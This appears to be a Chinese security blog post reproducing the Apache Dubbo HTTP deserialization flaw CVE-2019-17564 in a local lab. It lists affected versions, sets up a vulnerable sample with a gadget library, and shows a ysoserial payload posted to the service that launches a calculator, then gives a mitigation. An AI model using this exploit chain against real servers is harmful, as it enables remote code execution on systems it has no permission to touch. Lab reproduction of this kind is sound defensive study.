专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
每天学点做饭技巧  ·  山东小学生怒撕奖状:一个家最可怕的,不是穷 ·  2 天前  
常观  ·  明天起,早饭可以调整下! ·  2 天前  
常观  ·  明天起,早饭可以调整下! ·  2 天前  
每天学点做饭技巧  ·  把游客“流放到宁古塔”,黑龙江文旅听劝的方式 ... ·  4 天前  
51好读  ›  专栏  ›  TimelineSec

CVE-2019-17564:Apache Dubbo反序列化学习

TimelineSec  · 公众号  ·  · 2020-03-18 12:01

正文


本公众号专注于复现漏洞学习,欢迎关注!

------------------------------------------------------------------------------------

本文作者:fa1ry(Timeline Sec复现组成员)

本文共830字,阅读大约需要2~3分钟

声明:请勿做非法用途,否则后果自负


0x01 简介

Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。


0x02 漏洞概述

Apache Dubbo HTTP协议中的一个反序列化漏洞(CVE-2019-17564),该漏洞的主要原因在于当Apache Dubbo启用HTTP协议之后,Apache Dubbo对消息体处理不当导致不安全反序列化,当项目包中存在可用的gadgets时即可导致远程代码执行。


0x03 影响版本
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x


0x04 环境搭建

1、因为dubbo的启动需要依赖zookeeper,所以先安装zookeeper

wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gz# 将conf目录下的zoo_sample.cfg改名为zoo.cfgmv zoo_sample.cfg zoo.cfg# 进入bin目录启动zookeeper./zkServer.sh start



2、从GIthub上获取dubbo的项目,并修改pom.xml


git clone https://github.com/apache/dubbo-samples# 进入到dubbo-samples-http目录中,修改pom.xmlvim pom.xml


将dubbo版本修改为有漏洞的版本



添加依赖,导入一个可触发的gadgets,这边导入的是commons-collections4-4.0


        org.apache.commons        commons-collections4        4.0    



3、mvn构建,启动dubbo

将下载的源码放入当前目录的src文件夹内
mvn clean packagemvn -Djava.net.preferIPv4Stack=true -Dexec.mainClass=org.apache.dubbo.samples.http.HttpProvider exec:java



0x05 漏洞利用

POST /org.apache.dubbo.samples.http.api.DemoService HTTP/1.1Host: 127.0.0.1:8080
paylaod


这边使用ysoserial生成paylaod

java -jar ysoserial-master-55f1e7c35c-1.jar CommonsCollections4 /System/Applications/Calculator.app/Contents/MacOS/Calculator > 1.ser


burp发包,弹出计算器



0x06 修复方式

1.禁用HTTP协议






请到「今天看啥」查看全文